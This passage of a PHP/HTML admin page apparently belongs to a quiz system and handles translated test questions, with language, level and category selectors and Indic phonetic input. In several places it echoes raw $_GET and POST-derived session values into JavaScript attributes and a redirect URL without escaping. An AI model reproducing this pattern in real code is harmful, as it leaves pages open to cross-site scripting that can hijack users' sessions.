value='".$sel_row1['tque_id']."' ".$selected.">".$randquesid.".".$questionnm."</option>"; } return $select_box; } if(isset($_POST["btnsearch"])) { $postlang=$_POST["cmblang"]; $fetchlanguage=explode(",",$_POST["cmblang"]); $postlangname=$fetchlanguage[0]; $postlangid=$fetchlanguage[1]; $postlevel=$_POST["cmbtestlevel"]; $_SESSION["sellvlses"]=$_POST["cmbtestlevel"];; $postcategory=$_POST["cmbquescat"]; $_SESSION["selcatses"]=$_POST["cmbquescat"];; RedirecPage('arya_addscndtestquestions.php?sellng='.$postlangid.'&qlvid='.$postlevel.'&catid='.$postcategory.''); } ?> <script language="JavaScript"> function blankSecSearch() { if(document.frmsearch.cmblang.value==0) { alert("Please Select Language."); document.frmsearch.cmblang.focus(); return false; } } </script> <form id="frmsearch" name="frmsearch" method="POST" action="" enctype="multipart/form-data" onSubmit="return blankSecSearch();"> <table width="100%" summary="" border="0" cellpadding="0" cellspacing="0"> <tr> <td align="center" height="85" colspan="6"> <h2 class="bigheader"><?php echo $title_addscndtestquestion; ?></h2> </td> </tr> <?php echo SuccessMessage($msg);?> <tr> <td align="right" width="46%"><?php echo $sign.' '.$lbl_lang; ?> : </td> <td> <select name="cmblang" id="cmblang" class="selbox" onChange="ChangeLangTestQues(this.value,'<?php echo $_SESSION["sellvlses"]; ?>','<?php echo $_SESSION["selcatses"]; ?>','<?php echo $_GET['tstqueid']; ?>');"> <option value="0"><?php echo $lbl_selectlanguage; ?></option> <?php echo GetWithoutEngLanguage($lngid); ?> </select> </td> </tr> <tr><td height="5" colspan="2"></td></tr> <tr> <td align="right" width="46%"><?php echo $lbl_seltestlevel; ?> : </td> <td> <select name="cmbtestlevel" id="cmbtestlevel" class="selbox"> <option value="0"><?php echo $lbl_seltestlevel; ?></option> <?php echo getTestLevel($_SESSION["sellvlses"]); ?> </select> </td> </tr> <tr><td height="5" colspan="2"></td></tr> <tr> <td align="right" width="46%"><?php echo $lbl_selquecat; ?> : </td> <td> <select name="cmbquescat" id="cmbquescat" class="selbox"> <option value="0"><?php echo $lbl_quecat; ?></option> <?php echo getQuestioncat($_SESSION["selcatses"]); ?> </select> </td> </tr> <tr><td height="5" colspan="2"></td></tr> <tr> <td> </td><td height="5"> <input type="submit" name="btnsearch" id="btnsearch" value="Search"/> </td> </tr> </table> </form> <form method="post" action="arya_addscndtestquestions.php" name="frmsectestques" id="frmsectestques" enctype="multipart/form-data" onSubmit="return blankSecTestQues('add');"> <table width="100%" summary="" border="0" cellpadding="0" cellspacing="0"> <tr><td height="10" colspan="2"></td></tr> <tr> <td align="right" width="46%" ><?php echo $sign.' '.$lbl_engrecord; ?> : </td> <td> <select name="cmbengtstque" id="cmbengtstque" class="selbox" onChange="ChangeTestQues('<?php echo $_SESSION['senlnid']; ?>','<?php echo $_SESSION["sellvlses"]; ?>','<?php echo $_SESSION["selcatses"]; ?>',this.value);"> <option value="0"><?php echo $lbl_selengrec; ?></option> <?php echo GetTestQuesName($_SESSION['tstqueid'],$_SESSION["sellvlses"],$_SESSION["selcatses"],$_SESSION['senlnid']); ?> </select> </td> </tr> <tr><td height="5" colspan="2" ></td></tr> <tr> <td align="center" colspan="2"> <table cellpadding="0" cellspacing="0" align="center" <?php echo $border; ?> <?php echo $tblwidth; ?>> <?php if($_GET['tstqueid']>0){ ?> <tr> <td align="right" width="15%"> <font size="4px"><b><?php echo $lbl_field; ?></b></font> </td> <td align="center" width="30%"> <font size="4px"><b><?php echo $lbl_primaryentry; ?></b></font> </td> <td align="center" width="30%"> <b><font size="4px"><?php echo $lbl_secondaryentry; ?></b></font> </td> </tr> <?php } ?> <?php if($qrandid > 0) { ?> <?php echo $vartrtd; ?> <tr> <td align="right" <?php echo $width; ?> ><?php echo $lbl_question; ?> No. : </td> <?php if($_GET['tstqueid']>0){ ?><td align="center" valign="top"> <?php echo $qrandid; ?></td><?php } ?> <input type="hidden" id="hidid" name="hidid" value="<?php echo $qrandid; ?>" /> <td> </td> </tr> <?php } ?> <?php echo $vartrtd; ?> <tr> <td align="right" <?php echo $width; ?> ><?php echo $lbl_question; ?> : </td> <?php if($_GET['tstqueid']>0){ ?><td align="left" valign="top"> <?php echo $name; ?></td><?php } ?> <td> <textarea name="txtasecquestion" id="txtasecquestion" rows="3" cols="50"><?php echo $othername;?></textarea> </td> </tr> <?php if($tstimage!=""){ ?> <?php echo $vartrtd; ?> <tr> <td align="right" <?php echo $width; ?> ><?php echo $lbl_photo; ?> : </td> <?php if($_GET['tstqueid']>0){ ?><td align="center"><img src="<?php echo $pathvar.$tstimage; ?>" width="50"/> </td><?php } ?> <td></td> </tr> <?php } ?> <?php if($tstseltypeval!=""){ ?> <?php echo $vartrtd; ?> <tr> <td align="right" <?php echo $width; ?> ><?php echo $lbl_seltype; ?><?php //echo $lbl_photo; ?> : </td> <?php if($_GET['tstqueid']>0){ ?><td align="center"><?php echo $tstseltypeval; ?></td> <?php } ?> <td></td> </tr> <?php } ?> <?php if($tstseloptnval!=""){ ?> <?php echo $vartrtd; ?> <tr> <td align="right" <?php echo $width; ?> ><?php echo $lbl_seloption; ?><?php //echo $lbl_photo; ?> : </td> <?php if($_GET['tstqueid']>0){ ?> <td align="center"><?php echo $tstseloptnval; ?></td> <?php } ?> <td></td> </tr> <?php } ?> <input type="hidden" id="hidoption" name="hidoption" value="<?php echo $tstseloptnval; ?>" /> <?php if($tstseloptnval=='Text') { $j=1; for($i=0;$i<=8;$i++) { if($textval[$i]!='') { ?> <?php echo $vartrtd; ?> <tr> <td align="right" <?php echo $width; ?> ><?php echo $lbl_option; ?><?php echo $lbl_Option."$j"; ?> : </td> <?php if($_GET['tstqueid']>0){ ?> <td align="center"> <?php if($textval[$i] == $currectans[$i]) { ?> <font color="#0000FF"><b><?php echo $textval[$i]; ?></b></font> <?php } else { echo $textval[$i]; } ?> </td> <?php } ?> <td> <input type="text"<?php echo $classname; ?> name="txtsmname<?php echo $j; ?>" value="<?php echo $othertextval[$i];?>" id="txtsmname<?php echo $j; ?>" <?php echo $classname; ?> /> </td> </tr> <?php } $j++; } } else if($tstseloptnval=='Photos') { $j=1; for($i=0;$i<=8;$i++) { if($imageval[$i]!='') { ?> <?php echo $vartrtd; ?> <tr> <td align="right" <?php echo $width; ?> ><?php echo $lbl_photo."$j"; ?> : </td> <?php if($_GET['tstqueid']>0){ ?><td align="center"><img src="<?php echo $pathvar.$imageval[$i]; ?>" width="50"/> </td><?php } ?> <td></td> </tr> <?php } $j++; } } ?> <!--<?php //if($currectans!=""){ ?> <?php //echo $vartrtd; ?> <tr> <td align="right" <?php //echo $width; ?> ><?php //echo "Currect Answer"; ?><?php //echo $lbl_photo; ?> : </td> <?php //if($_GET['tstqueid']>0){ ?><td align="center"><?php //echo $currectans; ?></td> <?php //} ?> <td><?php //echo $currectans; ?></td> </tr> <?php //} ?>--> <?php if($rightapprove == 'Self' || $rightapprove == 'All') { ?> <?php echo $vartrtd; ?> <tr> <td align="right" <?php echo $width; ?>><?php echo "Approval"; ?> : </td> <?php if($_GET['tstqueid']>0){ ?><td align="center"> <?php echo $tst_approve; ?> </td><?php } ?> <td> <input type="radio" name="chkapprove" id="chkapprove" value="Approve" checked="true" <?php echo $shwhomeapp; ?> />Approve <input type="radio" name="chkapprove" id="chkapprove" value="Pending" <?php echo $shwhomepan; ?> />Pending <!--<input type="radio" name="chkapprove" id="chkapprove" value="Yes" <?php //echo $shwhomepan; ?>/>Yes <input type="radio" name="chkapprove" id="chkapprove" value="No" <?php //echo $shwhomeapp; ?>>No--> </td> </tr> <?php } ?> <?php if($rightapprove == 'Self' || $rightapprove == 'All') { ?> <?php echo $vartrtd; ?> <tr> <td align="right" <?php echo $width; ?>><?php echo "Include in Mock Test";?> : </td> <?php if($_GET['tstqueid']>0){ ?><td align="center"> <?php echo $tst_visible; ?> </td><?php } ?> <td> <input type="radio" name="chkvisible" id="chkvisible" value="Yes" <?php echo $chkvsblyes; ?>/>Yes <input type="radio" name="chkvisible" id="chkvisible" value="No" <?php echo $chkvsblno; ?>>No </td> </tr> <?php } ?> <?php echo $vartrtd; ?> <td align="center" <?php echo $width; ?> <?php if($_GET['tstqueid']>0){ ?> colspan="2" <?php } ?> ></td> <td> <input type="submit" name="btnadd" id="btnadd" value="<?php echo $btn_add; ?>" /> <input type="reset" name="btn_reset" id="btn_reset" value="<?php echo $btn_reset; ?>"/> <input type="button" name="back" id="back" value="<?php echo $btn_back; ?>" class="button" onClick="history.go(-1);" /> </td> </table> </td> </tr> </table> <script language="javascript" type="text/javascript"> pph = new PramukhPhoneticHandler(); <?php if($lngname=="Hindi") { ?> pph.convertToIndicIME("txtasecquestion", document.getElementById('txtasecquestion'),'devanagari'); pph.convertToIndicIME("txtsmname1", document.getElementById('txtsmname1'),'devanagari'); pph.convertToIndicIME("txtsmname2", document.getElementById('txtsmname2'),'devanagari'); pph.convertToIndicIME("txtsmname3", document.getElementById('txtsmname3'),'devanagari'); pph.convertToIndicIME("txtsmname4", document.getElementById('txtsmname4'),'devanagari'); pph.convertToIndicIME("txtsmname5", document.getElementById('txtsmname5'),'devanagari'); pph.convertToIndicIME("txtsmname6", document.getElementById('txtsmname6'),'devanagari'); pph.convertToIndicIME("txtsmname7", document.getElementById('txtsmname7'),'devanagari'); pph.convertToIndicIME("txtsmname8", document.getElementById('txtsmname8'),'devanagari'); <?php } else { ?> pph.convertToIndicIME("txtasecquestion", document.getElementById('txtasecquestion'),'<?php echo $lngname; ?>'); pph.convertToIndicIME("txtsmname1", document.getElementById('txtsmname1'),'<?php echo $lngname; ?>'); pph.convertToIndicIME("txtsmname2", document.getElementById('txtsmname2'),'<?php echo $lngname; ?>'); pph.convertToIndicIME("txtsmname3", document.getElementById('txtsmname3'),'<?php echo $lngname; ?>'); pph.convertToIndicIME("txtsmname4", document.getElementById('txtsmname4'),'<?php echo $lngname; ?>'); pph.convertToIndicIME("txtsmname5", document.getElementById('txtsmname5'),'<?php echo $lngname; ?>'); pph.convertToIndicIME("txtsmname6", document.getElementById('txtsmname6'),'<?php echo $lngname; ?>'); pph.convertToIndicIME("txtsmname7", document.getElementById('txtsmname7'),'<?php echo $lngname; ?>'); pph.convertToIndicIME("txtsmname8", document.getElementById('txtsmname8'),'<?php echo $lngname; ?>'); <?php } ?> </script> </form> <?php // content over // footer start include("arya_footer.php"); // footer over ?>
Close